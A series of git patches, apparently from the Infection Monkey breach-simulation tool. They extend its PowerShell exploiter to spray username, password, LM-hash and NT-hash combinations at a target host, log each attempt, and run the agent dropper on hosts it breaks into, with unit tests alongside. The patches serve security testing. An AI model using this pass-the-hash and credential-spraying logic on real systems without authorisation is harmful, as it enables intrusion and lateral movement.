From 3a6f725cc4d1edd36a3032e8b0278f90d89efa0b Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 2 Sep 2021 12:02:30 -0400 Subject: [PATCH 01/11] Agent: Rename Credentials.password to Credentials.secret The PowerShell Credentials dataclass will hold more than just passwords. It will also hold NT and LM hashes. "secret" is, therefore, a more accurate name than "password". --- monkey/infection_monkey/exploit/powershell.py | 6 +++--- .../exploit/powershell_utils/auth_options.py | 6 +++--- .../exploit/powershell_utils/credentials.py | 10 ++++------ .../powershell_utils/powershell_client.py | 2 +- .../exploit/powershell_utils/test_credentials.py | 16 ++++++++-------- .../infection_monkey/exploit/test_powershell.py | 4 ++-- 6 files changed, 21 insertions(+), 23 deletions(-) diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py index 9e3d3d5dc..6bfabb1e2 100644 --- a/monkey/infection_monkey/exploit/powershell.py +++ b/monkey/infection_monkey/exploit/powershell.py @@ -88,7 +88,7 @@ class PowerShellExploiter(HostExploiter): def _try_ssl_login(self, use_ssl: bool): credentials = Credentials( username="dummy_username", - password="dummy_password", + secret="dummy_password", ) auth_options = AuthOptions( @@ -110,7 +110,7 @@ class PowerShellExploiter(HostExploiter): f"Successfully logged into {self.host.ip_addr} using Powershell. User: " f"{creds.username}" ) - self.report_login_attempt(True, creds.username, creds.password) + self.report_login_attempt(True, creds.username, creds.secret) return client except Exception as ex: # noqa: F841 @@ -118,7 +118,7 @@ class PowerShellExploiter(HostExploiter): f"Error logging into {self.host.ip_addr} using Powershell. User: " f"{creds.username}, Error: {ex}" ) - self.report_login_attempt(False, creds.username, creds.password) + self.report_login_attempt(False, creds.username, creds.secret) return None diff --git a/monkey/infection_monkey/exploit/powershell_utils/auth_options.py b/monkey/infection_monkey/exploit/powershell_utils/auth_options.py index a9c34e2cf..ad770de3c 100644 --- a/monkey/infection_monkey/exploit/powershell_utils/auth_options.py +++ b/monkey/infection_monkey/exploit/powershell_utils/auth_options.py @@ -21,9 +21,9 @@ def get_auth_options(credentials: List[Credentials], use_ssl: bool) -> List[Auth for creds in credentials: # Passwordless login only works with SSL false, AUTH_BASIC and ENCRYPTION_NEVER - ssl = False if creds.password == "" else use_ssl - auth_type = AUTH_BASIC if creds.password == "" else AUTH_NEGOTIATE - encryption = ENCRYPTION_NEVER if creds.password == "" else ENCRYPTION_AUTO + ssl = False if creds.secret == "" else use_ssl + auth_type = AUTH_BASIC if creds.secret == "" else AUTH_NEGOTIATE + encryption = ENCRYPTION_NEVER if creds.secret == "" else ENCRYPTION_AUTO auth_options.append(AuthOptions(auth_type, encryption, ssl)) diff --git a/monkey/infection_monkey/exploit/powershell_utils/credentials.py b/monkey/infection_monkey/exploit/powershell_utils/credentials.py index a04d9f395..ab3c7f542 100644 --- a/monkey/infection_monkey/exploit/powershell_utils/credentials.py +++ b/monkey/infection_monkey/exploit/powershell_utils/credentials.py @@ -6,7 +6,7 @@ from typing import List, Union @dataclass class Credentials: username: Union[str, None] - password: Union[str, None] + secret: Union[str, None] def get_credentials( @@ -24,7 +24,7 @@ def get_credentials( # will be used to attempt to log into the victim. def _get_empty_credentials(is_windows: bool) -> List[Credentials]: if is_windows: - return [Credentials(username=None, password=None)] + return [Credentials(username=None, secret=None)] return [] @@ -32,12 +32,10 @@ def _get_empty_credentials(is_windows: bool) -> List[Credentials]: # On Windows systems, when password == None, the current user's password will bu used to attempt to # log into the victim. def _get_username_only_credentials(usernames: List[str], is_windows: bool) -> List[Credentials]: - credentials = [Credentials(username=username, password="") for username in usernames] + credentials = [Credentials(username=username, secret="") for username in usernames] if is_windows: - credentials.extend( - [Credentials(username=username, password=None) for username in usernames] - ) + credentials.extend([Credentials(username=username, secret=None) for username in usernames]) return credentials diff --git a/monkey/infection_monkey/exploit/powershell_utils/powershell_client.py b/monkey/infection_monkey/exploit/powershell_utils/powershell_client.py index 7f0b548b1..7971e7256 100644 --- a/monkey/infection_monkey/exploit/powershell_utils/powershell_client.py +++ b/monkey/infection_monkey/exploit/powershell_utils/powershell_client.py @@ -53,7 +53,7 @@ class PowerShellClient(IPowerShellClient): self._client = Client( ip_addr, username=credentials.username, - password=credentials.password, + password=credentials.secret, cert_validation=False, auth=auth_options.auth_type, encryption=auth_options.encryption, diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_credentials.py b/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_credentials.py index f1913169c..64a13a5e5 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_credentials.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_credentials.py @@ -8,7 +8,7 @@ def test_get_credentials__empty_windows_true(): credentials = get_credentials([], [], True) assert len(credentials) == 1 - assert credentials[0] == Credentials(username=None, password=None) + assert credentials[0] == Credentials(username=None, secret=None) def test_get_credentials__empty_windows_false(): @@ -21,18 +21,18 @@ def test_get_credentials__username_only_windows_true(): credentials = get_credentials(TEST_USERNAMES, [], True) assert len(credentials) == 5 - assert Credentials(username=TEST_USERNAMES[0], password="") in credentials - assert Credentials(username=TEST_USERNAMES[1], password="") in credentials - assert Credentials(username=TEST_USERNAMES[0], password=None) in credentials - assert Credentials(username=TEST_USERNAMES[1], password=None) in credentials + assert Credentials(username=TEST_USERNAMES[0], secret="") in credentials + assert Credentials(username=TEST_USERNAMES[1], secret="") in credentials + assert Credentials(username=TEST_USERNAMES[0], secret=None) in credentials + assert Credentials(username=TEST_USERNAMES[1], secret=None) in credentials def test_get_credentials__username_only_windows_false(): credentials = get_credentials(TEST_USERNAMES, [], False) assert len(credentials) == 2 - assert Credentials(username=TEST_USERNAMES[0], password="") in credentials - assert Credentials(username=TEST_USERNAMES[1], password="") in credentials + assert Credentials(username=TEST_USERNAMES[0], secret="") in credentials + assert Credentials(username=TEST_USERNAMES[1], secret="") in credentials def test_get_credentials__username_password_windows_true(): @@ -41,4 +41,4 @@ def test_get_credentials__username_password_windows_true(): assert len(credentials) == 9 for user in TEST_USERNAMES: for password in TEST_PASSWORDS: - assert Credentials(username=user, password=password) in credentials + assert Credentials(username=user, secret=password) in credentials diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py b/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py index 3d14d2d67..da709ad04 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py @@ -78,7 +78,7 @@ def test_powershell_https(monkeypatch, powershell_exploiter): powershell_exploiter.exploit_host() for call_args in mock_powershell_client.call_args_list: - if call_args[0][1].password != "" and call_args[0][1].password != "dummy_password": + if call_args[0][1].secret != "" and call_args[0][1].secret != "dummy_password": assert call_args[0][2].ssl @@ -92,7 +92,7 @@ def test_no_valid_credentials(monkeypatch, powershell_exploiter): def authenticate(mock_client): def inner(_, credentials: Credentials, auth_options: AuthOptions): - if credentials.username == "user1" and credentials.password == "pass2": + if credentials.username == "user1" and credentials.secret == "pass2": return mock_client else: raise TestAuthenticationError("Invalid credentials") From a2e6b0bfbd5dbc3062daf0e64141a08eb0f94fd3 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 2 Sep 2021 12:29:49 -0400 Subject: [PATCH 02/11] Agent: Add LM and NT hashes to PowerShell Credentials Adds two list parameters to get_credentials() that contain LM and NT hashes respectively. Adds a "secret_type" field to Credentials so that the user of the Credentials object can distinguish between using cached credentials (on windows), passwords, and NT or LM hashes. --- monkey/infection_monkey/exploit/powershell.py | 13 ++- .../exploit/powershell_utils/credentials.py | 56 +++++++++++-- .../powershell_utils/test_auth_options.py | 8 +- .../powershell_utils/test_credentials.py | 81 +++++++++++++++---- 4 files changed, 132 insertions(+), 26 deletions(-) diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py index 6bfabb1e2..c20580989 100644 --- a/monkey/infection_monkey/exploit/powershell.py +++ b/monkey/infection_monkey/exploit/powershell.py @@ -13,7 +13,11 @@ from infection_monkey.exploit.powershell_utils.auth_options import ( AuthOptions, get_auth_options, ) -from infection_monkey.exploit.powershell_utils.credentials import Credentials, get_credentials +from infection_monkey.exploit.powershell_utils.credentials import ( + Credentials, + SecretType, + get_credentials, +) from infection_monkey.exploit.powershell_utils.powershell_client import ( AuthenticationError, IPowerShellClient, @@ -49,7 +53,11 @@ class PowerShellExploiter(HostExploiter): return False credentials = get_credentials( - self._config.exploit_user_list, self._config.exploit_password_list, is_windows_os() + self._config.exploit_user_list, + self._config.exploit_password_list, + [], + [], + is_windows_os(), ) auth_options = get_auth_options(credentials, is_https) @@ -89,6 +97,7 @@ class PowerShellExploiter(HostExploiter): credentials = Credentials( username="dummy_username", secret="dummy_password", + secret_type=SecretType.PASSWORD, ) auth_options = AuthOptions( diff --git a/monkey/infection_monkey/exploit/powershell_utils/credentials.py b/monkey/infection_monkey/exploit/powershell_utils/credentials.py index ab3c7f542..982f9da29 100644 --- a/monkey/infection_monkey/exploit/powershell_utils/credentials.py +++ b/monkey/infection_monkey/exploit/powershell_utils/credentials.py @@ -1,21 +1,36 @@ from dataclasses import dataclass +from enum import Enum from itertools import product from typing import List, Union +class SecretType(Enum): + CACHED = 1 + PASSWORD = 2 + LM_HASH = 3 + NT_HASH = 4 + + @dataclass class Credentials: username: Union[str, None] secret: Union[str, None] + secret_type: SecretType def get_credentials( - usernames: List[str], passwords: List[str], is_windows: bool + usernames: List[str], + passwords: List[str], + lm_hashes: List[str], + nt_hashes: List[str], + is_windows: bool, ) -> List[Credentials]: credentials = [] credentials.extend(_get_empty_credentials(is_windows)) credentials.extend(_get_username_only_credentials(usernames, is_windows)) credentials.extend(_get_username_password_credentials(usernames, passwords)) + credentials.extend(_get_username_lm_hash_credentials(usernames, lm_hashes)) + credentials.extend(_get_username_nt_hash_credentials(usernames, nt_hashes)) return credentials @@ -24,7 +39,7 @@ def get_credentials( # will be used to attempt to log into the victim. def _get_empty_credentials(is_windows: bool) -> List[Credentials]: if is_windows: - return [Credentials(username=None, secret=None)] + return [Credentials(username=None, secret=None, secret_type=SecretType.CACHED)] return [] @@ -32,10 +47,18 @@ def _get_empty_credentials(is_windows: bool) -> List[Credentials]: # On Windows systems, when password == None, the current user's password will bu used to attempt to # log into the victim. def _get_username_only_credentials(usernames: List[str], is_windows: bool) -> List[Credentials]: - credentials = [Credentials(username=username, secret="") for username in usernames] + credentials = [ + Credentials(username=username, secret="", secret_type=SecretType.PASSWORD) + for username in usernames + ] if is_windows: - credentials.extend([Credentials(username=username, secret=None) for username in usernames]) + credentials.extend( + [ + Credentials(username=username, secret=None, secret_type=SecretType.CACHED) + for username in usernames + ] + ) return credentials @@ -43,6 +66,27 @@ def _get_username_only_credentials(usernames: List[str], is_windows: bool) -> Li def _get_username_password_credentials( usernames: List[str], passwords: List[str] ) -> List[Credentials]: - username_password_pairs = product(usernames, passwords) + return _get_username_secret_credentials(usernames, passwords, SecretType.PASSWORD) - return [Credentials(credentials[0], credentials[1]) for credentials in username_password_pairs] + +def _get_username_lm_hash_credentials( + usernames: List[str], lm_hashes: List[str] +) -> List[Credentials]: + return _get_username_secret_credentials(usernames, lm_hashes, SecretType.LM_HASH) + + +def _get_username_nt_hash_credentials( + usernames: List[str], nt_hashes: List[str] +) -> List[Credentials]: + return _get_username_secret_credentials(usernames, nt_hashes, SecretType.NT_HASH) + + +def _get_username_secret_credentials( + usernames: List[str], secrets: List[str], secret_type: SecretType +) -> List[Credentials]: + username_secret_pairs = product(usernames, secrets) + + return [ + Credentials(credentials[0], credentials[1], secret_type) + for credentials in username_secret_pairs + ] diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_auth_options.py b/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_auth_options.py index 0a917adac..d19fffbd0 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_auth_options.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_auth_options.py @@ -6,12 +6,12 @@ from infection_monkey.exploit.powershell_utils.auth_options import ( ENCRYPTION_NEVER, get_auth_options, ) -from infection_monkey.exploit.powershell_utils.credentials import Credentials +from infection_monkey.exploit.powershell_utils.credentials import Credentials, SecretType CREDENTIALS = [ - Credentials("user1", "password1"), - Credentials("user2", ""), - Credentials("user3", None), + Credentials("user1", "password1", SecretType.PASSWORD), + Credentials("user2", "", SecretType.PASSWORD), + Credentials("user3", None, SecretType.CACHED), ] diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_credentials.py b/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_credentials.py index 64a13a5e5..0954d9dc8 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_credentials.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_credentials.py @@ -1,44 +1,97 @@ -from infection_monkey.exploit.powershell_utils.credentials import Credentials, get_credentials +from infection_monkey.exploit.powershell_utils.credentials import ( + Credentials, + SecretType, + get_credentials, +) TEST_USERNAMES = ["user1", "user2"] TEST_PASSWORDS = ["p1", "p2"] +TEST_LM_HASHES = ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb"] +TEST_NT_HASHES = ["cccccccccccccccccccccccccccccccc", "dddddddddddddddddddddddddddddddd"] def test_get_credentials__empty_windows_true(): - credentials = get_credentials([], [], True) + credentials = get_credentials([], [], [], [], True) assert len(credentials) == 1 - assert credentials[0] == Credentials(username=None, secret=None) + assert credentials[0] == Credentials(username=None, secret=None, secret_type=SecretType.CACHED) def test_get_credentials__empty_windows_false(): - credentials = get_credentials([], [], False) + credentials = get_credentials([], [], [], [], False) assert len(credentials) == 0 def test_get_credentials__username_only_windows_true(): - credentials = get_credentials(TEST_USERNAMES, [], True) + credentials = get_credentials(TEST_USERNAMES, [], [], [], True) assert len(credentials) == 5 - assert Credentials(username=TEST_USERNAMES[0], secret="") in credentials - assert Credentials(username=TEST_USERNAMES[1], secret="") in credentials - assert Credentials(username=TEST_USERNAMES[0], secret=None) in credentials - assert Credentials(username=TEST_USERNAMES[1], secret=None) in credentials + assert ( + Credentials(username=TEST_USERNAMES[0], secret="", secret_type=SecretType.PASSWORD) + in credentials + ) + assert ( + Credentials(username=TEST_USERNAMES[1], secret="", secret_type=SecretType.PASSWORD) + in credentials + ) + assert ( + Credentials(username=TEST_USERNAMES[0], secret=None, secret_type=SecretType.CACHED) + in credentials + ) + assert ( + Credentials(username=TEST_USERNAMES[1], secret=None, secret_type=SecretType.CACHED) + in credentials + ) def test_get_credentials__username_only_windows_false(): - credentials = get_credentials(TEST_USERNAMES, [], False) + credentials = get_credentials(TEST_USERNAMES, [], [], [], False) assert len(credentials) == 2 - assert Credentials(username=TEST_USERNAMES[0], secret="") in credentials - assert Credentials(username=TEST_USERNAMES[1], secret="") in credentials + assert ( + Credentials(username=TEST_USERNAMES[0], secret="", secret_type=SecretType.PASSWORD) + in credentials + ) + assert ( + Credentials(username=TEST_USERNAMES[1], secret="", secret_type=SecretType.PASSWORD) + in credentials + ) def test_get_credentials__username_password_windows_true(): - credentials = get_credentials(TEST_USERNAMES, TEST_PASSWORDS, True) + credentials = get_credentials(TEST_USERNAMES, TEST_PASSWORDS, [], [], True) assert len(credentials) == 9 for user in TEST_USERNAMES: for password in TEST_PASSWORDS: - assert Credentials(username=user, secret=password) in credentials + assert ( + Credentials(username=user, secret=password, secret_type=SecretType.PASSWORD) + in credentials + ) + + +def test_get_credentials__username_lm_hash_windows_false(): + credentials = get_credentials(TEST_USERNAMES, TEST_PASSWORDS, TEST_LM_HASHES, [], False) + + assert len(credentials) == 10 + for user in TEST_USERNAMES: + for lm_hash in TEST_LM_HASHES: + assert ( + Credentials(username=user, secret=lm_hash, secret_type=SecretType.LM_HASH) + in credentials + ) + + +def test_get_credentials__username_nt_hash_windows_false(): + credentials = get_credentials( + TEST_USERNAMES, TEST_PASSWORDS, TEST_LM_HASHES, TEST_NT_HASHES, False + ) + + assert len(credentials) == 14 + for user in TEST_USERNAMES: + for nt_hash in TEST_NT_HASHES: + assert ( + Credentials(username=user, secret=nt_hash, secret_type=SecretType.NT_HASH) + in credentials + ) From 501fc162b4bc77be5d3915802117121d8787eb1e Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 2 Sep 2021 12:56:50 -0400 Subject: [PATCH 03/11] Agent: Attempt login with LM and NT hashes in PowerShellExploiter --- monkey/infection_monkey/exploit/powershell.py | 22 ++++-- .../exploit/test_powershell.py | 77 ++++++++++++++++++- 2 files changed, 92 insertions(+), 7 deletions(-) diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py index c20580989..9d4b32e6b 100644 --- a/monkey/infection_monkey/exploit/powershell.py +++ b/monkey/infection_monkey/exploit/powershell.py @@ -55,8 +55,8 @@ class PowerShellExploiter(HostExploiter): credentials = get_credentials( self._config.exploit_user_list, self._config.exploit_password_list, - [], - [], + self._config.exploit_lm_hash_list, + self._config.exploit_ntlm_hash_list, is_windows_os(), ) auth_options = get_auth_options(credentials, is_https) @@ -117,20 +117,30 @@ class PowerShellExploiter(HostExploiter): logger.info( f"Successfully logged into {self.host.ip_addr} using Powershell. User: " - f"{creds.username}" + f"{creds.username}, Secret Type: {creds.secret_type.name}" ) - self.report_login_attempt(True, creds.username, creds.secret) + self._report_login_attempt(True, creds) return client except Exception as ex: # noqa: F841 logger.debug( f"Error logging into {self.host.ip_addr} using Powershell. User: " - f"{creds.username}, Error: {ex}" + f"{creds.username}, SecretType: {creds.secret_type.name} -- Error: {ex}" ) - self.report_login_attempt(False, creds.username, creds.secret) + self._report_login_attempt(False, creds) return None + def _report_login_attempt(self, result: bool, credentials: Credentials): + if credentials.secret_type in [SecretType.PASSWORD, SecretType.CACHED]: + self.report_login_attempt(result, credentials.username, password=credentials.secret) + elif credentials.secret_type == SecretType.LM_HASH: + self.report_login_attempt(result, credentials.username, lm_hash=credentials.secret) + elif credentials.secret_type == SecretType.NT_HASH: + self.report_login_attempt(result, credentials.username, ntlm_hash=credentials.secret) + else: + raise ValueError(f"Unknown secret type {credentials.secret_type}") + def _execute_monkey_agent_on_victim(self) -> bool: arch = self._client.get_host_architecture() self.is_32bit = arch == WIN_ARCH_32 diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py b/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py index da709ad04..4e5c98823 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py @@ -11,6 +11,8 @@ from infection_monkey.model.host import VictimHost USER_LIST = ["user1", "user2"] PASSWORD_LIST = ["pass1", "pass2"] +LM_HASH_LIST = ["bogo_lm_1"] +NT_HASH_LIST = ["bogo_nt_1", "bogo_nt_2"] DROPPER_TARGET_PATH_32 = "C:\\agent32" DROPPER_TARGET_PATH_64 = "C:\\agent64" @@ -19,6 +21,8 @@ Config = namedtuple( [ "exploit_user_list", "exploit_password_list", + "exploit_lm_hash_list", + "exploit_ntlm_hash_list", "dropper_target_path_win_32", "dropper_target_path_win_64", ], @@ -33,9 +37,17 @@ class TestAuthenticationError(Exception): def powershell_exploiter(monkeypatch): host = VictimHost("127.0.0.1") pe = powershell.PowerShellExploiter(host) - pe._config = Config(USER_LIST, PASSWORD_LIST, DROPPER_TARGET_PATH_32, DROPPER_TARGET_PATH_64) + pe._config = Config( + USER_LIST, + PASSWORD_LIST, + LM_HASH_LIST, + NT_HASH_LIST, + DROPPER_TARGET_PATH_32, + DROPPER_TARGET_PATH_64, + ) monkeypatch.setattr(powershell, "AuthenticationError", TestAuthenticationError) + monkeypatch.setattr(powershell, "is_windows_os", lambda: True) # It's regrettable to mock out a private method on the PowerShellExploiter instance object, but # it's necessary to avoid having to deal with the monkeyfs monkeypatch.setattr(pe, "_write_virtual_file_to_local_path", lambda: None) @@ -141,3 +153,66 @@ def test_failed_monkey_execution(monkeypatch, powershell_exploiter): success = powershell_exploiter.exploit_host() assert not success + + +def test_login_attemps_correctly_reported(monkeypatch, powershell_exploiter): + mock_client = MagicMock() + mock_client.get_host_architecture = lambda: WIN_ARCH_32 + mock_client.copy_file = MagicMock(return_value=True) + mock_client.execute_cmd_as_detached_process = MagicMock(side_effect=Exception) + + def allow_ntlm(_, credentials: Credentials, auth_options: AuthOptions): + if credentials.username == USER_LIST[1] and credentials.secret == NT_HASH_LIST[1]: + return mock_client + + raise TestAuthenticationError + + mock_powershell_client = MagicMock(side_effect=allow_ntlm) + monkeypatch.setattr(powershell, "PowerShellClient", mock_powershell_client) + + powershell_exploiter.exploit_host() + + assert { + "result": False, + "user": USER_LIST[1], + "password": None, + "lm_hash": "", + "ntlm_hash": "", + "ssh_key": "", + } in powershell_exploiter.exploit_attempts + + assert { + "result": False, + "user": USER_LIST[1], + "password": PASSWORD_LIST[0], + "lm_hash": "", + "ntlm_hash": "", + "ssh_key": "", + } in powershell_exploiter.exploit_attempts + + assert { + "result": False, + "user": USER_LIST[0], + "password": "", + "lm_hash": LM_HASH_LIST[0], + "ntlm_hash": "", + "ssh_key": "", + } in powershell_exploiter.exploit_attempts + + assert { + "result": False, + "user": USER_LIST[1], + "password": "", + "lm_hash": "", + "ntlm_hash": NT_HASH_LIST[0], + "ssh_key": "", + } in powershell_exploiter.exploit_attempts + + assert { + "result": True, + "user": USER_LIST[1], + "password": "", + "lm_hash": "", + "ntlm_hash": NT_HASH_LIST[1], + "ssh_key": "", + } in powershell_exploiter.exploit_attempts From 9cc488d36a1493c1481e5babaab33aca0cefc7de Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 2 Sep 2021 13:03:58 -0400 Subject: [PATCH 04/11] Agent: Remove powershell_utils/utils.py Move single function that was previously in powershell_utils/utils.py to powershell.py --- monkey/infection_monkey/exploit/powershell.py | 21 ++++++++++++++++--- .../exploit/powershell_utils/utils.py | 17 --------------- .../exploit/powershell_utils/test_utils.py | 13 ------------ .../exploit/test_powershell.py | 11 ++++++++++ 4 files changed, 29 insertions(+), 33 deletions(-) delete mode 100644 monkey/infection_monkey/exploit/powershell_utils/utils.py delete mode 100644 monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_utils.py diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py index 9d4b32e6b..6d6520080 100644 --- a/monkey/infection_monkey/exploit/powershell.py +++ b/monkey/infection_monkey/exploit/powershell.py @@ -6,7 +6,6 @@ import infection_monkey.monkeyfs as monkeyfs from common.utils.exploit_enum import ExploitType from infection_monkey.exploit.consts import WIN_ARCH_32 from infection_monkey.exploit.HostExploiter import HostExploiter -from infection_monkey.exploit.powershell_utils import utils from infection_monkey.exploit.powershell_utils.auth_options import ( AUTH_NEGOTIATE, ENCRYPTION_AUTO, @@ -24,7 +23,8 @@ from infection_monkey.exploit.powershell_utils.powershell_client import ( PowerShellClient, ) from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey_by_os -from infection_monkey.model import VictimHost +from infection_monkey.model import DROPPER_ARG, RUN_MONKEY, VictimHost +from infection_monkey.utils.commands import build_monkey_commandline from infection_monkey.utils.environment import is_windows_os logger = logging.getLogger(__name__) @@ -186,7 +186,7 @@ class PowerShellExploiter(HostExploiter): monkey_local_file.write(monkey_virtual_file.read()) def _run_monkey_executable_on_victim(self, executable_path) -> None: - monkey_execution_command = utils.build_monkey_execution_command( + monkey_execution_command = build_monkey_execution_command( self.host, get_monkey_depth() - 1, executable_path ) @@ -195,3 +195,18 @@ class PowerShellExploiter(HostExploiter): ) self._client.execute_cmd_as_detached_process(monkey_execution_command) + + +def build_monkey_execution_command(host: VictimHost, depth: int, executable_path: str) -> str: + monkey_params = build_monkey_commandline( + target_host=host, + depth=depth, + vulnerable_port=None, + location=executable_path, + ) + + return RUN_MONKEY % { + "monkey_path": executable_path, + "monkey_type": DROPPER_ARG, + "parameters": monkey_params, + } diff --git a/monkey/infection_monkey/exploit/powershell_utils/utils.py b/monkey/infection_monkey/exploit/powershell_utils/utils.py deleted file mode 100644 index 4c0ab3dce..000000000 --- a/monkey/infection_monkey/exploit/powershell_utils/utils.py +++ /dev/null @@ -1,17 +0,0 @@ -from infection_monkey.model import DROPPER_ARG, RUN_MONKEY, VictimHost -from infection_monkey.utils.commands import build_monkey_commandline - - -def build_monkey_execution_command(host: VictimHost, depth: int, executable_path: str) -> str: - monkey_params = build_monkey_commandline( - target_host=host, - depth=depth, - vulnerable_port=None, - location=executable_path, - ) - - return RUN_MONKEY % { - "monkey_path": executable_path, - "monkey_type": DROPPER_ARG, - "parameters": monkey_params, - } diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_utils.py b/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_utils.py deleted file mode 100644 index de5ca3b5d..000000000 --- a/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_utils.py +++ /dev/null @@ -1,13 +0,0 @@ -from infection_monkey.exploit.powershell_utils import utils -from infection_monkey.model.host import VictimHost - - -def test_build_monkey_execution_command(): - host = VictimHost("127.0.0.1") - depth = 2 - executable_path = "/tmp/test-monkey" - - cmd = utils.build_monkey_execution_command(host, depth, executable_path) - - assert f"-d {depth}" in cmd - assert executable_path in cmd diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py b/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py index 4e5c98823..b9254c1d8 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py @@ -216,3 +216,14 @@ def test_login_attemps_correctly_reported(monkeypatch, powershell_exploiter): "ntlm_hash": NT_HASH_LIST[1], "ssh_key": "", } in powershell_exploiter.exploit_attempts + + +def test_build_monkey_execution_command(): + host = VictimHost("127.0.0.1") + depth = 2 + executable_path = "/tmp/test-monkey" + + cmd = powershell.build_monkey_execution_command(host, depth, executable_path) + + assert f"-d {depth}" in cmd + assert executable_path in cmd From 1a1a130716cf6659033aea5d205e87b11ff05b31 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 2 Sep 2021 13:21:05 -0400 Subject: [PATCH 05/11] Agent: Format NT/LM hashes for use with pypsrp in PowerShellClient --- .../powershell_utils/powershell_client.py | 22 ++++++-- .../test_powershell_client.py | 52 +++++++++++++++++++ 2 files changed, 71 insertions(+), 3 deletions(-) create mode 100644 monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_powershell_client.py diff --git a/monkey/infection_monkey/exploit/powershell_utils/powershell_client.py b/monkey/infection_monkey/exploit/powershell_utils/powershell_client.py index 7971e7256..e739901f1 100644 --- a/monkey/infection_monkey/exploit/powershell_utils/powershell_client.py +++ b/monkey/infection_monkey/exploit/powershell_utils/powershell_client.py @@ -1,6 +1,6 @@ import abc import logging -from typing import Union +from typing import Optional, Union import pypsrp import spnego @@ -12,7 +12,7 @@ from urllib3 import connectionpool from infection_monkey.exploit.consts import WIN_ARCH_32, WIN_ARCH_64 from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions -from infection_monkey.exploit.powershell_utils.credentials import Credentials +from infection_monkey.exploit.powershell_utils.credentials import Credentials, SecretType from infection_monkey.model import GET_ARCH_WINDOWS logger = logging.getLogger(__name__) @@ -27,6 +27,22 @@ def _set_sensitive_packages_log_level_to_error(): logging.getLogger(package.__name__).setLevel(logging.ERROR) +def format_password(credentials: Credentials) -> Optional[str]: + if credentials.secret_type == SecretType.CACHED: + return None + + if credentials.secret_type == SecretType.PASSWORD: + return credentials.secret + + if credentials.secret_type == SecretType.LM_HASH: + return f"{credentials.secret}:00000000000000000000000000000000" + + if credentials.secret_type == SecretType.NT_HASH: + return f"00000000000000000000000000000000:{credentials.secret}" + + raise ValueError(f"Unknown secret type {credentials.secret_type}") + + class IPowerShellClient(Protocol, metaclass=abc.ABCMeta): @abc.abstractmethod def execute_cmd(self, cmd: str) -> str: @@ -53,7 +69,7 @@ class PowerShellClient(IPowerShellClient): self._client = Client( ip_addr, username=credentials.username, - password=credentials.secret, + password=format_password(credentials), cert_validation=False, auth=auth_options.auth_type, encryption=auth_options.encryption, diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_powershell_client.py b/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_powershell_client.py new file mode 100644 index 000000000..73f7ea64c --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_powershell_client.py @@ -0,0 +1,52 @@ +import pytest + +from infection_monkey.exploit.powershell_utils.credentials import Credentials, SecretType +from infection_monkey.exploit.powershell_utils.powershell_client import format_password + + +def test_format_cached_credentials(): + expected = None + creds = Credentials("test_user", expected, SecretType.CACHED) + + actual = format_password(creds) + + assert expected == actual + + +def test_format_password(): + expected = "test_password" + creds = Credentials("test_user", expected, SecretType.PASSWORD) + + actual = format_password(creds) + + assert expected == actual + + +def test_format_lm_hash(): + lm_hash = "c080132b6f2a0c4e5d1029cc06f48a92" + expected = f"{lm_hash}:00000000000000000000000000000000" + + creds = Credentials("test_user", lm_hash, SecretType.LM_HASH) + + actual = format_password(creds) + + assert expected == actual + + +def test_format_nt_hash(): + nt_hash = "c080132b6f2a0c4e5d1029cc06f48a92" + expected = f"00000000000000000000000000000000:{nt_hash}" + + creds = Credentials("test_user", nt_hash, SecretType.NT_HASH) + + actual = format_password(creds) + + assert expected == actual + + +def test_invalid_secret_type(): + + creds = Credentials("test_user", "secret", 